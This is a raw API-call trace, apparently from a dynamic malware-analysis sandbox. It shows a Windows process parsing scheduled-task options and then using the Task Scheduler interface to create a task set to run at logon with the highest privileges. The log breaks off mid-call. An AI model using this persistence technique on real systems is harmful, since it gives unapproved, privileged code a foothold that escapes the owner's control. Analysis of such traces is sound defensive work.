[0155.581] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|d|") returned 3 [0155.582] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.582] lstrlenW (lpString="|d|") returned 3 [0155.582] lstrlenW (lpString="|f|") returned 3 [0155.582] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0155.582] SetLastError (dwErrCode=0x490) [0155.582] lstrlenW (lpString="m") returned 1 [0155.582] lstrlenW (lpString="m") returned 1 [0155.582] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|m|") returned 3 [0155.582] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.582] lstrlenW (lpString="|m|") returned 3 [0155.582] lstrlenW (lpString="|f|") returned 3 [0155.582] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0155.582] SetLastError (dwErrCode=0x490) [0155.582] lstrlenW (lpString="i") returned 1 [0155.582] lstrlenW (lpString="i") returned 1 [0155.582] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|i|") returned 3 [0155.582] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.582] lstrlenW (lpString="|i|") returned 3 [0155.582] lstrlenW (lpString="|f|") returned 3 [0155.582] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0155.582] SetLastError (dwErrCode=0x490) [0155.582] lstrlenW (lpString="tn") returned 2 [0155.582] lstrlenW (lpString="tn") returned 2 [0155.582] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.582] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.583] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.583] lstrlenW (lpString="|tn|") returned 4 [0155.583] lstrlenW (lpString="|f|") returned 3 [0155.583] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0155.583] SetLastError (dwErrCode=0x490) [0155.583] lstrlenW (lpString="tr") returned 2 [0155.583] lstrlenW (lpString="tr") returned 2 [0155.583] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.583] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.583] lstrlenW (lpString="|tr|") returned 4 [0155.583] lstrlenW (lpString="|f|") returned 3 [0155.583] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0155.583] SetLastError (dwErrCode=0x490) [0155.583] lstrlenW (lpString="st") returned 2 [0155.583] lstrlenW (lpString="st") returned 2 [0155.583] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|st|") returned 4 [0155.583] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.583] lstrlenW (lpString="|st|") returned 4 [0155.583] lstrlenW (lpString="|f|") returned 3 [0155.583] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0155.583] SetLastError (dwErrCode=0x490) [0155.583] lstrlenW (lpString="sd") returned 2 [0155.583] lstrlenW (lpString="sd") returned 2 [0155.583] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.583] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sd|") returned 4 [0155.584] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.584] lstrlenW (lpString="|sd|") returned 4 [0155.584] lstrlenW (lpString="|f|") returned 3 [0155.584] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0155.584] SetLastError (dwErrCode=0x490) [0155.584] lstrlenW (lpString="ed") returned 2 [0155.584] lstrlenW (lpString="ed") returned 2 [0155.584] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ed|") returned 4 [0155.584] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.584] lstrlenW (lpString="|ed|") returned 4 [0155.584] lstrlenW (lpString="|f|") returned 3 [0155.584] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0155.584] SetLastError (dwErrCode=0x490) [0155.584] lstrlenW (lpString="it") returned 2 [0155.584] lstrlenW (lpString="it") returned 2 [0155.584] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|it|") returned 4 [0155.584] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.584] lstrlenW (lpString="|it|") returned 4 [0155.584] lstrlenW (lpString="|f|") returned 3 [0155.584] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0155.584] SetLastError (dwErrCode=0x490) [0155.584] lstrlenW (lpString="et") returned 2 [0155.584] lstrlenW (lpString="et") returned 2 [0155.584] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.584] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|et|") returned 4 [0155.584] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.585] lstrlenW (lpString="|et|") returned 4 [0155.585] lstrlenW (lpString="|f|") returned 3 [0155.585] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0155.585] SetLastError (dwErrCode=0x490) [0155.585] lstrlenW (lpString="k") returned 1 [0155.585] lstrlenW (lpString="k") returned 1 [0155.585] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|k|") returned 3 [0155.585] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.585] lstrlenW (lpString="|k|") returned 3 [0155.585] lstrlenW (lpString="|f|") returned 3 [0155.585] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0155.585] SetLastError (dwErrCode=0x490) [0155.585] lstrlenW (lpString="du") returned 2 [0155.585] lstrlenW (lpString="du") returned 2 [0155.585] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|du|") returned 4 [0155.585] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.585] lstrlenW (lpString="|du|") returned 4 [0155.585] lstrlenW (lpString="|f|") returned 3 [0155.585] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0155.585] SetLastError (dwErrCode=0x490) [0155.585] lstrlenW (lpString="ri") returned 2 [0155.585] lstrlenW (lpString="ri") returned 2 [0155.585] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.585] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ri|") returned 4 [0155.585] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.586] lstrlenW (lpString="|ri|") returned 4 [0155.586] lstrlenW (lpString="|f|") returned 3 [0155.586] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0155.586] SetLastError (dwErrCode=0x490) [0155.586] lstrlenW (lpString="z") returned 1 [0155.586] lstrlenW (lpString="z") returned 1 [0155.586] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.586] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.586] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|z|") returned 3 [0155.586] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.586] lstrlenW (lpString="|z|") returned 3 [0155.586] lstrlenW (lpString="|f|") returned 3 [0155.586] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0155.586] SetLastError (dwErrCode=0x490) [0155.586] lstrlenW (lpString="f") returned 1 [0155.586] lstrlenW (lpString="f") returned 1 [0155.586] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.586] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.586] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.586] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.586] lstrlenW (lpString="|f|") returned 3 [0155.586] lstrlenW (lpString="|f|") returned 3 [0155.586] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0155.586] SetLastError (dwErrCode=0x0) [0155.586] SetLastError (dwErrCode=0x0) [0155.586] GetProcessHeap () returned 0x3b0000 [0155.586] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccf0 [0155.586] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.586] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0155.587] lstrlenW (lpString="LIMITED") returned 7 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.587] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd580 [0155.587] GetThreadLocale () returned 0x409 [0155.587] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.587] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccc0 [0155.587] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.587] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0155.587] lstrlenW (lpString="HIGHEST") returned 7 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.587] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd5a0 [0155.587] GetThreadLocale () returned 0x409 [0155.587] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0155.587] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.587] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0155.587] lstrlenW (lpString="MINUTE") returned 6 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.587] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd5c0 [0155.587] GetThreadLocale () returned 0x409 [0155.587] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.587] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc60 [0155.587] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.587] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0155.587] lstrlenW (lpString="HOURLY") returned 6 [0155.587] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd5e0 [0155.588] GetThreadLocale () returned 0x409 [0155.588] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc30 [0155.588] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.588] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0155.588] lstrlenW (lpString="DAILY") returned 5 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xc) returned 0x3cd600 [0155.588] GetThreadLocale () returned 0x409 [0155.588] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc00 [0155.588] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.588] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0155.588] lstrlenW (lpString="WEEKLY") returned 6 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd620 [0155.588] GetThreadLocale () returned 0x409 [0155.588] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbd0 [0155.588] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.588] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0155.588] lstrlenW (lpString="MONTHLY") returned 7 [0155.588] GetProcessHeap () returned 0x3b0000 [0155.588] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd640 [0155.588] GetThreadLocale () returned 0x409 [0155.588] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0155.588] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.588] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0155.589] lstrlenW (lpString="ONCE") returned 4 [0155.589] GetProcessHeap () returned 0x3b0000 [0155.589] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cd660 [0155.589] GetThreadLocale () returned 0x409 [0155.589] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0155.589] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.589] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0155.589] lstrlenW (lpString="ONSTART") returned 7 [0155.589] GetThreadLocale () returned 0x409 [0155.589] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0155.589] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.589] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0155.589] lstrlenW (lpString="ONLOGON") returned 7 [0155.589] GetThreadLocale () returned 0x409 [0155.589] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0155.589] SetLastError (dwErrCode=0x0) [0155.589] GetProcessHeap () returned 0x3b0000 [0155.589] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x1fc) returned 0x3cc2b0 [0155.589] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.589] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0155.589] lstrlenW (lpString="First") returned 5 [0155.589] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.589] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0155.589] lstrlenW (lpString="Second") returned 6 [0155.589] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0155.590] lstrlenW (lpString="Third") returned 5 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0155.590] lstrlenW (lpString="Fourth") returned 6 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0155.590] lstrlenW (lpString="Last") returned 4 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0155.590] lstrlenW (lpString="First") returned 5 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0155.590] lstrlenW (lpString="Second") returned 6 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0155.590] lstrlenW (lpString="Third") returned 5 [0155.590] GetProcessHeap () returned 0x3b0000 [0155.590] GetProcessHeap () returned 0x3b0000 [0155.590] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd660) returned 1 [0155.590] GetProcessHeap () returned 0x3b0000 [0155.590] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd660) returned 0xa [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.590] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0155.590] lstrlenW (lpString="Fourth") returned 6 [0155.590] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.591] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0155.591] lstrlenW (lpString="Last") returned 4 [0155.591] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c200, cchData=128 | out: lpLCData="0") returned 2 [0155.591] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.591] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0155.591] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd580) returned 1 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd580) returned 0x10 [0155.591] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c220, cchData=128 | out: lpLCData="0") returned 2 [0155.591] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.591] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0155.591] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5a0) returned 1 [0155.591] GetProcessHeap () returned 0x3b0000 [0155.591] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5a0) returned 0x10 [0155.591] GetLocalTime (in: lpSystemTime=0x23c450 | out: lpSystemTime=0x23c450*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xf, wMilliseconds=0xe0)) [0155.591] GetLocalTime (in: lpSystemTime=0x23cd08 | out: lpSystemTime=0x23cd08*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xf, wMilliseconds=0xe0)) [0155.591] lstrlenW (lpString="") returned 0 [0155.591] lstrlenW (lpString="") returned 0 [0155.591] lstrlenW (lpString="") returned 0 [0155.591] lstrlenW (lpString="") returned 0 [0155.592] lstrlenW (lpString="") returned 0 [0155.592] lstrlenW (lpString="") returned 0 [0155.592] lstrlenW (lpString="") returned 0 [0155.592] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0155.747] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0155.817] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23cad0 | out: ppv=0x23cad0*=0x647a50) returned 0x0 [0155.828] TaskScheduler:ITaskService:Connect (This=0x647a50, serverName=0x23cbb0*(varType=0x8, wReserved1=0x23, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23cb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x23cb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23cb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0155.838] TaskScheduler:IUnknown:AddRef (This=0x647a50) returned 0x2 [0155.839] TaskScheduler:ITaskService:GetFolder (in: This=0x647a50, Path=0x0, ppFolder=0x23cc68 | out: ppFolder=0x23cc68*=0x647c10) returned 0x0 [0155.845] TaskScheduler:ITaskService:NewTask (in: This=0x647a50, flags=0x0, ppDefinition=0x23cc60 | out: ppDefinition=0x23cc60*=0x647c60) returned 0x0 [0155.845] ITaskDefinition:get_Actions (in: This=0x647c60, ppActions=0x23cbe0 | out: ppActions=0x23cbe0*=0x647d20) returned 0x0 [0155.846] IActionCollection:Create (in: This=0x647d20, Type=0, ppAction=0x23cc00 | out: ppAction=0x23cc00*=0x6460c0) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.846] StrChrW 